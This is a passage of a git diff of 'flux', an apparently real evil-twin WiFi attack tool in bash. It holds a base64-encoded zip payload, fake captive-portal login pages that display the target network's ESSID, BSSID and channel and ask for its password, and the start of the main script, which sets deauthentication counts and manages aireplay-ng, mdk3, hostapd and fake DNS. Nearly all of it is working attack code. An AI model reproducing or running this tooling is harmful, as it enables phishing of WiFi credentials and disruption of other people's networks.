-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface diff --git a/nightly/0.19/flux/flux b/nightly/0.19/flux/flux deleted file mode 100644 index 7817326..0000000 --- a/nightly/0.19/flux/flux +++ /dev/null @@ -1,1803 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=5 -version=0.17 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red" "$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI_MONITOR"$transparent"" - airmon-ng stop $WIFI_MONITOR &> 